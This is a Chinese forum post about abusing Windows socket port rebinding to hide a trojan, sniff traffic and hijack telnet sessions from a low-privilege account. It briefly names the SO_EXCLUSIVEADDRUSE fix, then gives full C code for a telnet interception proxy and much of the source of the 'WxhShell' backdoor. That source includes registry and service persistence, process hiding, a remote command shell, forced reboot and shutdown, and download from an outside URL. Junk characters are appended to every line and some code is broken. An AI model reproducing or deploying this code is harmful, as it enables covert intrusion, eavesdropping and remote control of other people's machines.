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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l3sF/zkH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rz@q W2  
c`soVqT$?  
  saddr.sin_family = AF_INET; N$6e KJ]  
sSh{.XuB+3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }:m/@LKB  
QQBh)5F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C< 9x\JY%  
H:@hCO[a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7pm'b,J<  
r }lGcG)  
  这意味着什么?意味着可以进行如下的攻击: N[p o)}hp  
k5I;Y:~`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [3jJQ3O,  
F{0\a;U@^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =p8uP5H  
BB6[(Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^O18\a  
I.n,TJoz4J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xvV";o  
BM<q;;pO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =vbG'_[7  
053bM)qW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uZC=]Ieh  
UDHWl_%L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rP:g`?*V  
e0TYHr)X>3  
  #include } :0_%=)N<  
  #include ob\-OMNs@  
  #include K6kz{R%`  
  #include    inWLIXC,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,X.[37  
  int main() z:>cQUYl  
  { 2aj1IBnz6/  
  WORD wVersionRequested; wXKtQ#o}  
  DWORD ret; hq 3n&/  
  WSADATA wsaData; Nap[=[rv  
  BOOL val; =6u@ JpOl  
  SOCKADDR_IN saddr; `}EnY@*h  
  SOCKADDR_IN scaddr; krUtOVI  
  int err; Vh^y6U<  
  SOCKET s; ^ Oh  
  SOCKET sc; k7^hc th  
  int caddsize; *%Rmdyn  
  HANDLE mt; P.y +jyu  
  DWORD tid;   AJ\&>6GZ(b  
  wVersionRequested = MAKEWORD( 2, 2 ); zmo2uUEd  
  err = WSAStartup( wVersionRequested, &wsaData ); i "h\*B=  
  if ( err != 0 ) { w:t~M[kTW  
  printf("error!WSAStartup failed!\n"); $*ff]>#  
  return -1; DZSS  
  } :C:6bDQ  
  saddr.sin_family = AF_INET; "+(|]q"W  
   N d].(_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ubwM*P  
jH< #)R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1&|]8=pG7  
  saddr.sin_port = htons(23); {DRk{>K,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *?FVLE  
  {  0k (-  
  printf("error!socket failed!\n"); Fi/iA%,  
  return -1; }bb,Iib  
  } gXxi; g  
  val = TRUE; <Ht"t]u*Bn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?9`j1[0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1Gsh%0r3  
  { 2_q/<8t  
  printf("error!setsockopt failed!\n"); rfqwxr45h  
  return -1; Pk;\^DRC  
  } `D4Wg<,9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -c_l nK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x3q^}sj%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y b hFDx  
731Lz*IFg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K!6T8^JH  
  { hY`<J]-'`  
  ret=GetLastError(); ]3LLlXtK[  
  printf("error!bind failed!\n"); ZSuoD$~k[  
  return -1; TxJk.c  
  } OG5{oH#K  
  listen(s,2); t#^Cem<  
  while(1) 1SExl U  
  { 7kLu rv  
  caddsize = sizeof(scaddr); )ros-d p`  
  //接受连接请求 LCivZ0?|X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v \:AOY'  
  if(sc!=INVALID_SOCKET) \n{# r`T  
  { &<t%u[3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }j/\OY _&  
  if(mt==NULL) Rw?w7?I  
  { )]fsl_Yq  
  printf("Thread Creat Failed!\n"); 3Bl|~K;-  
  break; Z>g72I%X  
  } "V[j&B)P  
  } ZFtx&vr P  
  CloseHandle(mt); E=I'$*C \D  
  } ),x0G*oebj  
  closesocket(s); k=s^-Eiu  
  WSACleanup();  ``/L18  
  return 0; % !@E)%d0  
  }   jj{:=l ZB  
  DWORD WINAPI ClientThread(LPVOID lpParam) p/{%%30ke  
  { In?rQiD9  
  SOCKET ss = (SOCKET)lpParam; SoziFI  
  SOCKET sc; Ti? "Hr<W  
  unsigned char buf[4096]; m6i ,xn  
  SOCKADDR_IN saddr; &{Z+p(3Gj  
  long num;  zK6w0  
  DWORD val; q /JC\  
  DWORD ret; 9C7Npf?~M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R>bg3j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mnA_$W3~I  
  saddr.sin_family = AF_INET; S)EF&S(TC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _ s 3aaOL  
  saddr.sin_port = htons(23); RvR.t"8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #N][-i  
  { ^&;,n.X5Z  
  printf("error!socket failed!\n"); K@p9_K8  
  return -1; ^]o H}lwO  
  } _WS8I>  
  val = 100; q]4h#?.-1v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XJo.^<m  
  { KpGx<+0p  
  ret = GetLastError(); ;-3&yQ7N)  
  return -1; Qb {[xmc  
  } ?= 7k<a~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {iyJ HY  
  { LVUA"'6V  
  ret = GetLastError(); `+Nv =vk  
  return -1; :}NheRi  
  } X!|eRA~o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8=D,`wog  
  { F > rr.  
  printf("error!socket connect failed!\n"); dQ*^WNUB  
  closesocket(sc); .5\@G b.8  
  closesocket(ss); X+ Sqw5rH  
  return -1; >,,`7%Rv  
  } Ar)EbGId  
  while(1) |Ua);B~F  
  { _)j\ b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?GX@&_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :i{M1z I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |OLXb+ 7X  
  num = recv(ss,buf,4096,0); r`- 8+"P  
  if(num>0) fgqCX:SWz  
  send(sc,buf,num,0); }k.yLcXM  
  else if(num==0) 6"_pCkn;c<  
  break; 1L`V{\_0s  
  num = recv(sc,buf,4096,0); @v`.^L{P  
  if(num>0) ViW2q"4=  
  send(ss,buf,num,0); ]U#of O  
  else if(num==0) .-YE(}^  
  break; @KM?agtlbl  
  } f I%8@ :  
  closesocket(ss); GJWGT`"  
  closesocket(sc); 0:Bpvl5  
  return 0 ; %<^^ Mw  
  } bGwOhd<.  
Bvvja C  
{_!,T%>+1  
========================================================== Wu6'm &t  
Lv@WI6DM  
下边附上一个代码,,WXhSHELL UIU Pi gd  
qMEd R;o  
========================================================== 0to`=;JI  
nP[Z6h  
#include "stdafx.h" KC"S0 6  
]-t>F  
#include <stdio.h> b~UWFX#U  
#include <string.h> E-1u_7  
#include <windows.h> ktPM66`b  
#include <winsock2.h> z4 =OR@ h  
#include <winsvc.h> }J?,?>Z  
#include <urlmon.h> >-V632(/{o  
z 8M\(<  
#pragma comment (lib, "Ws2_32.lib") n><ad*|MX  
#pragma comment (lib, "urlmon.lib") k5>UAea_  
+8xT}mX  
#define MAX_USER   100 // 最大客户端连接数 <',k%:t  
#define BUF_SOCK   200 // sock buffer [ PN2^  
#define KEY_BUFF   255 // 输入 buffer uhj]le!  
+wz1kPRs  
#define REBOOT     0   // 重启 7:g_:}m  
#define SHUTDOWN   1   // 关机 [*u\S  
LL);Ym9d  
#define DEF_PORT   5000 // 监听端口 lV:feX  
!e<5JO;c  
#define REG_LEN     16   // 注册表键长度 v6G1y[Wl  
#define SVC_LEN     80   // NT服务名长度 &_]G0~e  
^X6e\]yj  
// 从dll定义API #9s)fR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Y/0BS2D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  #*rJI3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #yIHr&'oX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u ]y[g  
'0 ~?zP  
// wxhshell配置信息 'DXT7|Df  
struct WSCFG { h<M1q1)  
  int ws_port;         // 监听端口 t ]Ln(r  
  char ws_passstr[REG_LEN]; // 口令 1.u^shc&|  
  int ws_autoins;       // 安装标记, 1=yes 0=no p*<I_QM!  
  char ws_regname[REG_LEN]; // 注册表键名 ]35`N<Ac  
  char ws_svcname[REG_LEN]; // 服务名 MA_YMxP.'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M._E$y,5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "c} en[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ..h@QQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q.R(>ZcV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4pMp@ b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R`$Y]@i&B  
CAx$A[f<  
}; W%5))R$  
s)E8}-v  
// default Wxhshell configuration _QHk&-Lp  
struct WSCFG wscfg={DEF_PORT, [>>_%T\I  
    "xuhuanlingzhe", oQpGa>6U&  
    1, )?OdD7gd  
    "Wxhshell", Kg~D~ +j  
    "Wxhshell", QuMv1)n  
            "WxhShell Service", G>:v1lde  
    "Wrsky Windows CmdShell Service", uX!6: v]  
    "Please Input Your Password: ", O13]H"O_  
  1, {/)i}V#RE  
  "http://www.wrsky.com/wxhshell.exe", vN v'%;L  
  "Wxhshell.exe" H!0m8LCnb  
    }; _\yR/W~  
]%-U~avph  
// 消息定义模块 4Th?q{X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pRh9+1EM;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o "0 ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Z]nV2$n)V  
char *msg_ws_ext="\n\rExit."; I9L3Y@(f6m  
char *msg_ws_end="\n\rQuit."; (e5Z^9X  
char *msg_ws_boot="\n\rReboot..."; 8ZbXGQ  
char *msg_ws_poff="\n\rShutdown..."; wQhuU  
char *msg_ws_down="\n\rSave to "; lvODhoT  
g]JJ!$*1  
char *msg_ws_err="\n\rErr!"; Z" H;t\P  
char *msg_ws_ok="\n\rOK!"; *tT}N@<%  
PA803R74  
char ExeFile[MAX_PATH]; 7xB]Z;:  
int nUser = 0; >Vx_Xv`Jwb  
HANDLE handles[MAX_USER]; ]v5/K  
int OsIsNt; )uAY_()/  
DazoY&AWE  
SERVICE_STATUS       serviceStatus; &n8Ja@Y]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fab]'#1q4  
bBc<p{  
// 函数声明 KF(y`(8f  
int Install(void); `-CN\  
int Uninstall(void); {HM[ )t0  
int DownloadFile(char *sURL, SOCKET wsh); Jlb{1B$7  
int Boot(int flag); EKcPJ\7  
void HideProc(void); b{-"GqMO  
int GetOsVer(void); lb9?Uc@  
int Wxhshell(SOCKET wsl); #J3}H   
void TalkWithClient(void *cs); irm4lb5  
int CmdShell(SOCKET sock); Q jXJo$I6  
int StartFromService(void); *k#"@  
int StartWxhshell(LPSTR lpCmdLine); &`s{-<t<L  
OA6i/3 #8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t}I@Rmso  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >WZbb d-  
w^zqYGxG)  
// 数据结构和表定义 @",#'eC"  
SERVICE_TABLE_ENTRY DispatchTable[] = fQ1j@{Xa  
{ R=a4zVQ  
{wscfg.ws_svcname, NTServiceMain}, vy5Fw&?"  
{NULL, NULL} !^y;|9?O  
}; @i(9k  
|S).,B  
// 自我安装 oL R/\Y(  
int Install(void) OESKLjFt  
{ WY>$.e  
  char svExeFile[MAX_PATH];  h#}w18l  
  HKEY key; x ~)~v?>T  
  strcpy(svExeFile,ExeFile); />8A?+g9u  
"3]}V=L<5  
// 如果是win9x系统,修改注册表设为自启动 u"oO._a(  
if(!OsIsNt) { e(^I.`9z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MC,Qv9m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u/|@iWK:  
  RegCloseKey(key); b'SP,}s5"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NBasf n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Opf)TAl{  
  RegCloseKey(key); ~a3u['B  
  return 0; ~vpF|4Zn5  
    } /d6Rd l`w  
  } *XWu)>*o  
} <X{w^ cT_Q  
else { KI#v<4C$P  
>Q(\vl@N=  
// 如果是NT以上系统,安装为系统服务 5Hj/7~ =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @+zWLq!1pB  
if (schSCManager!=0) W //+[  
{ hTO 2+F*  
  SC_HANDLE schService = CreateService *re?V9  
  ( NL `  
  schSCManager, MUZ]*n&0  
  wscfg.ws_svcname, >Ho=L)u  
  wscfg.ws_svcdisp, RuVk>(?WK%  
  SERVICE_ALL_ACCESS, Bi;a~qE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }OnU32P  
  SERVICE_AUTO_START, `_GCS,/t  
  SERVICE_ERROR_NORMAL, iNl<<0a  
  svExeFile, %=2sz>M+  
  NULL, 4<}@hk Y  
  NULL, ]smu~t0\  
  NULL, ; xw9#.d#D  
  NULL, v,Z]Vqk  
  NULL 0e#PN@  
  ); /@ g 8MUq7  
  if (schService!=0) eJ<P  
  { 6rmx{Bt  
  CloseServiceHandle(schService); z<!A;.iD  
  CloseServiceHandle(schSCManager); "v wLj:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ e L-fg  
  strcat(svExeFile,wscfg.ws_svcname); 1TA!9cz0Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G8w@C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mYJ8O$  
  RegCloseKey(key); uMG y-c  
  return 0; 7;'UC','  
    } ZGX"Vn|YL  
  } ,#;`f=aqTG  
  CloseServiceHandle(schSCManager); oF+yh!~mM  
} `%#_y67v  
} KLG.?`h:  
r8*xp\/  
return 1; !WGQ34R{  
} .j,xh )v"  
fk?!0M6d  
// 自我卸载 X1}M_h %  
int Uninstall(void) <W3p!  
{ T>1#SWQ/9  
  HKEY key; @V^.eVM\R  
gU&+^e >  
if(!OsIsNt) { 2<n 18-|OQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OPq|4xu  
  RegDeleteValue(key,wscfg.ws_regname); ,-EN{ed  
  RegCloseKey(key); Z|UVH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *wmkcifF;  
  RegDeleteValue(key,wscfg.ws_regname); nIBeZof  
  RegCloseKey(key); k:~UBs\)(  
  return 0; /o6ido  
  } E>*b,^J7g  
} b0h\l#6  
} [X@{xF^vBQ  
else { af6<w.i  
CiHx.5TiC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #WG;p(?:  
if (schSCManager!=0) -b+)Dp~$p  
{ D1>*ml  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @|ZUyat  
  if (schService!=0) b|x B <  
  { bL0]Yuh  
  if(DeleteService(schService)!=0) { ~MB)}!S:  
  CloseServiceHandle(schService); /#: *hn  
  CloseServiceHandle(schSCManager); \j)c?1*$  
  return 0; |SMigSu r`  
  } hV`?, ~K  
  CloseServiceHandle(schService); .@mZG<vg  
  } s/~[/2[bnf  
  CloseServiceHandle(schSCManager); ? B|i  
} zn= pm#L  
} t W   
f`>\bdz  
return 1; tQ'R(H`  
} @pv:uON\  
?Y\WSI?i  
// 从指定url下载文件 g9g ] X  
int DownloadFile(char *sURL, SOCKET wsh) .uX(-8n ~  
{ :u=y7[I  
  HRESULT hr; Z(4/;v <CT  
char seps[]= "/"; j&A9 &+w  
char *token; u}R|q  
char *file; MxGQM>  
char myURL[MAX_PATH]; a>8] +@  
char myFILE[MAX_PATH]; l1 08.ao  
G&wYV[Ln  
strcpy(myURL,sURL); E)I&? <g  
  token=strtok(myURL,seps); Lnn^j#n  
  while(token!=NULL) PeEaF@#k  
  { 1 +M !EW  
    file=token; -Tuk.>i)  
  token=strtok(NULL,seps); Qqb%^}Xx'u  
  } g.:ZMV  
H)*%eG~  
GetCurrentDirectory(MAX_PATH,myFILE); K|~ !oQ  
strcat(myFILE, "\\"); #vy[v22  
strcat(myFILE, file); at*DYZBjDB  
  send(wsh,myFILE,strlen(myFILE),0); +dq2}gM  
send(wsh,"...",3,0); R"t2=3K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +ZE"pA^C  
  if(hr==S_OK) Avljrds+7  
return 0; zKYN5|17  
else 5>1c4u`x  
return 1; <R2SV=]Sq#  
i+I.>L/S  
} }L{GwiDMDl  
l_ x jsu  
// 系统电源模块 1dp8'f5^  
int Boot(int flag) oM#+Z qP  
{ 9ucoQ@  
  HANDLE hToken; $V<fJpA  
  TOKEN_PRIVILEGES tkp; $'*{&/@  
_Eq,udCso  
  if(OsIsNt) { 5|bfrc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ U8#yo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9K&YHg:1  
    tkp.PrivilegeCount = 1; )r*F.m{&:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4uE/!dT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >K%+h)%kI  
if(flag==REBOOT) { 4 l+z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V%M@zd?u.  
  return 0; Iz#jR2:yn  
} JGzEm>_ m  
else { T`I4_x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) brCL"g|}  
  return 0; nM8'="$  
} 6(A"5B=\  
  } m5?t<H~  
  else { pwVGe|h%,  
if(flag==REBOOT) { J<cY'?D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .k!2{A  
  return 0; G [yI[7=d  
} kOel !A  
else { YB{'L +Wbw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Q?#^<O  
  return 0; *'n=LB8R  
} {ueDwnZ  
} rXGaav9  
ldaT: er9  
return 1; cft@s Y  
} f.vJJa  
~ /K'n  
// win9x进程隐藏模块 FA%BzU5^  
void HideProc(void) `RE K,^U  
{ RtaMrG=D  
\/m-G:|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >8`;SEnv  
  if ( hKernel != NULL ) mLHl]xs4  
  { S*ie$}ZX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E.x<J.[Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8*]dA ft  
    FreeLibrary(hKernel); ~>%% kQt  
  } cS#| _  
>(Wt  
return; fzjtaH?  
} 7zNfq.Ni~  
r8_MIGM'  
// 获取操作系统版本 cdL0<J b,  
int GetOsVer(void) |Yi_|']#  
{ *>lXCx  
  OSVERSIONINFO winfo; `7 Nk;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~^g*cA t}  
  GetVersionEx(&winfo); %W2 o`W$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S)^eHuXPI  
  return 1; jyRz53  
  else 'z};tIOKJk  
  return 0; c8o2* C$  
} 8(-N;<Ef2  
H ;HFen|  
// 客户端句柄模块  zK:2.4  
int Wxhshell(SOCKET wsl) 6ZC~q=my  
{ \%#luk@:  
  SOCKET wsh; Oh7wyQiV  
  struct sockaddr_in client; Gfle"_4m8  
  DWORD myID; !@)tkhP  
drB$q [Ak9  
  while(nUser<MAX_USER) (%]M a  
{ ~ #P` 7G  
  int nSize=sizeof(client); cMAY8$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =A/$[POr  
  if(wsh==INVALID_SOCKET) return 1; MnW"ksH  
;'4Kg@/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }~ga86:n0  
if(handles[nUser]==0) n=h!V$X   
  closesocket(wsh); ^QTkre  
else @l~MY *hp  
  nUser++; RXhT{Ho(>  
  } d]^\qeG^p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B}d)e_uLj  
XiyL563gh  
  return 0; ,LDdL  
} #4^D'r>pJ  
~H626vT37  
// 关闭 socket )dRB I)P  
void CloseIt(SOCKET wsh) KC-@2,c9V  
{ };~I#X  
closesocket(wsh); YD;"_yH  
nUser--; v<]$,V]  
ExitThread(0); 9 E  
} | Fk9ME  
8ao>]5Rs3  
// 客户端请求句柄 4~0 @(3  
void TalkWithClient(void *cs) r 4+%9)  
{ -lI6!a^  
$w! v  
  SOCKET wsh=(SOCKET)cs; +?C7(-U>  
  char pwd[SVC_LEN]; 8wzQr2:  
  char cmd[KEY_BUFF]; 5S%#3YHY2  
char chr[1]; }vX/55  
int i,j; n'<F'1SWv  
b5UIX Kim  
  while (nUser < MAX_USER) { g;</|Z  
pIvr*UzY  
if(wscfg.ws_passstr) { {9h`h08?z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RV6|sN[x>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @?[}\9dW  
  //ZeroMemory(pwd,KEY_BUFF); |\h<!xR  
      i=0; x1 1ug  
  while(i<SVC_LEN) { T=T1?@2C  
'X1/tB8*  
  // 设置超时 S>EO6z#   
  fd_set FdRead; /cZ-+cu  
  struct timeval TimeOut; M{`uI8vD  
  FD_ZERO(&FdRead); '<hg c  
  FD_SET(wsh,&FdRead); Vg1MA  
  TimeOut.tv_sec=8; h8?E+0  
  TimeOut.tv_usec=0; Ku]<$uo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SQI =D8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d2<+Pp  
JA6#qlylL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M[5fNK&nD  
  pwd=chr[0]; ,Zs*07!$f  
  if(chr[0]==0xd || chr[0]==0xa) { 43o!Vr/ S  
  pwd=0; Y-:dPc{  
  break; n~v*  
  } FDIOST !  
  i++; r>7Dg~)V  
    } l=ZX9<3  
`EzC'e  
  // 如果是非法用户,关闭 socket [X'u={  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a3E.rr;b  
} vI+X9C?  
d<afO?"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sGFC?1r?\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iig@$ i#  
rn%q*_3-o  
while(1) { OmC F8:\/  
bWfT-Jewh  
  ZeroMemory(cmd,KEY_BUFF); aA&}=lm  
5SwQ9#  
      // 自动支持客户端 telnet标准   :,FI 6`  
  j=0; 3`DwKv `+  
  while(j<KEY_BUFF) { 8z'_dfP=5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s_Gf7uC  
  cmd[j]=chr[0]; l*>, :y  
  if(chr[0]==0xa || chr[0]==0xd) { Y|N.R(sAs&  
  cmd[j]=0; Vh5Z'4N  
  break; 2sNV09id  
  } Xmaj7*f>p  
  j++; \TTt!"aK  
    } WeRX~  
<& p0:S7  
  // 下载文件 G}p* oz~  
  if(strstr(cmd,"http://")) { B>,&{ah/5J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b;Uqyc  
  if(DownloadFile(cmd,wsh)) %L eZd}v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+OcM ;0  
  else !O*uQB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6:J$B~)u  
  } 29AWg(9?aS  
  else { qQx5n  
=6LF_=}  
    switch(cmd[0]) { x*2I]4  
  y9)Rl)7-:  
  // 帮助 yUp"%_t0  
  case '?': { <c$K3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Z C$DW!-  
    break; Mg76v<mv<  
  } iP^o]4[c  
  // 安装 3lD1G~  
  case 'i': { 3pk `&'  
    if(Install()) e:kd0)9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4J6,_8`U  
    else RYem(%jq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2P4$^G[  
    break; Ed=]RR 4R  
    } yi$Jk}w  
  // 卸载 >,s.!vpK  
  case 'r': { AEr8^6  
    if(Uninstall()) f+iM_MI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W{WfJ-HwG  
    else yCLDJ%8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8KhE`C9z  
    break; Zbobi,  
    } 22gk1'~dO  
  // 显示 wxhshell 所在路径 #Kd^t =k  
  case 'p': { xU_Dg56z'&  
    char svExeFile[MAX_PATH]; "o.g}Pv  
    strcpy(svExeFile,"\n\r"); (#`1[n+b`x  
      strcat(svExeFile,ExeFile); b9gezXAcd  
        send(wsh,svExeFile,strlen(svExeFile),0); ,Kw]V %xOb  
    break; 5$w`m3>i(  
    } \vQjTM-7  
  // 重启 rfVHPMD0  
  case 'b': { b ?-VZA:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nNJMQb'K  
    if(Boot(REBOOT)) }u aRS9d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~gA p`Q  
    else { ?6=u[))M&  
    closesocket(wsh); 8Q2qroT  
    ExitThread(0); ~p0M|  
    }  edv&!  
    break; [^4)3cj7}  
    } 2y0J~P!I  
  // 关机 s v}o%  
  case 'd': { sKK*{+,kh;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CMI V"-  
